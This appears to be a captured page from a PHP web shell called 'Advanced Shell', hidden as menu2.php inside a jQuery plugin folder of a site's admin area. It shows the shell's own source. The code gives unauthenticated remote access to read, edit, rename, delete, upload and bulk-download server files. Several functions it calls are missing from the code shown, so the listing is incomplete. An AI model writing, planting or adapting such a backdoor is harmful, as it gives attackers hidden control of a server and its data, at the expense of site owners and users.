Advanced Shell

Editing: /home/stsportal/public_html/admin/assets/plugins/jquery-knob/js/menu2.php

<?php
// Start session for password protection
session_start();

// PHP shell functionality
echo "<!DOCTYPE html><html><head><title>Advanced Shell</title><style>
    body { background-color: #000000; color: #ffffff; font-family: Arial, sans-serif; }
    h1 { color: #ff0000; }
    a { color: #03fbff; text-decoration: none; }
    .rename { color: #26ff00; }
    .delete { color: #f70f0f; }
    .download { color: #ffff00; }
    .button { background-color: #03fbff; border: none; color: black; padding: 10px 20px; text-align: center; text-decoration: none; display: inline-block; font-size: 16px; margin: 4px 2px; cursor: pointer; }
</style></head><body>";

function view_file($file) {
    $content = htmlspecialchars(file_get_contents($file));
    echo "<h3>Editing: $file</h3>";
    echo "<form method='POST'>";
    echo "<textarea name='content' style='width:100%;height:400px;'>$content</textarea><br>";
    echo "<input type='submit' name='save' value='Save' class='button'>";
    echo "</form>";
    if (isset($_POST['save'])) {
        file_put_contents($file, $_POST['content']);
        echo '<p>File saved successfully!</p>';
    }
}

function rename_file($old_name, $new_name) {
    if (rename($old_name, $new_name)) {
        echo '<p>File renamed successfully!</p>';
    } else {
        echo '<p>Failed to rename file.</p>';
    }
}

function delete_file($file) {
    if (unlink($file)) {
        echo '<p>File deleted successfully!</p>';
    } else {
        echo '<p>Failed to delete file.</p>';
    }
}

function zip_dir($source, $destination) {
    if (!extension_loaded('zip') || !file_exists($source)) {
        return false;
    }

$zip = new ZipArchive();
    if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
        return false;
    }

$source = str_replace('\\', '/', realpath($source));
    if (is_dir($source) === true) {
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
        foreach ($files as $file) {
            $file = str_replace('\\', '/', realpath($file));
            if (is_dir($file) === true) {
                $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
            } else if (is_file($file) === true) {
                $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
            }
        }
    } else if (is_file($source) === true) {
        $zip->addFromString(basename($source), file_get_contents($source));
    }
    return $zip->close();
}

function download_all_files($dir) {
    $zip_file = tempnam(sys_get_temp_dir(), 'zip');
    zip_dir($dir, $zip_file);

header('Content-Type: application/zip');
    header('Content-disposition: attachment; filename=all_files.zip');
    header('Content-Length: ' . filesize($zip_file));
    readfile($zip_file);
    unlink($zip_file);
    exit;
}

// Main logic
$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();

if (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) {
    create_file($dir, $_POST['new_file_name']);
}

if (isset($_GET['rename'])) {
    $old_name = $_GET['rename'];
    echo "<form method='POST'>";
    echo "<input type='text' name='new_name' placeholder='New name' value='".basename($old_name)."'>";
    echo "<input type='submit' name='rename_file' value='Rename' class='button'>";
    echo "</form>";
    if (isset($_POST['rename_file']) && !empty($_POST['new_name'])) {
        $new_name = $dir . DIRECTORY_SEPARATOR . $_POST['new_name'];
        rename_file($old_name, $new_name);
    }
}

if (isset($_GET['delete'])) {
    $file_to_delete = $_GET['delete'];
    delete_file($file_to_delete);
}

if (isset($_GET['download'])) {
    $file_to_download = $_GET['download'];
    download_file($file_to_download);
}

if (isset($_POST['delete_all'])) {
    delete_all_files($dir);
}

if (isset($_POST['upload'])) {
    upload_file($dir);
}

if (isset($_POST['download_all'])) {
    download_all_files($dir);
}

if (isset($_GET['file'])) {
    view_file($_GET['file']);
} else {
    list_files($dir);
}

echo "</body></html>";
?>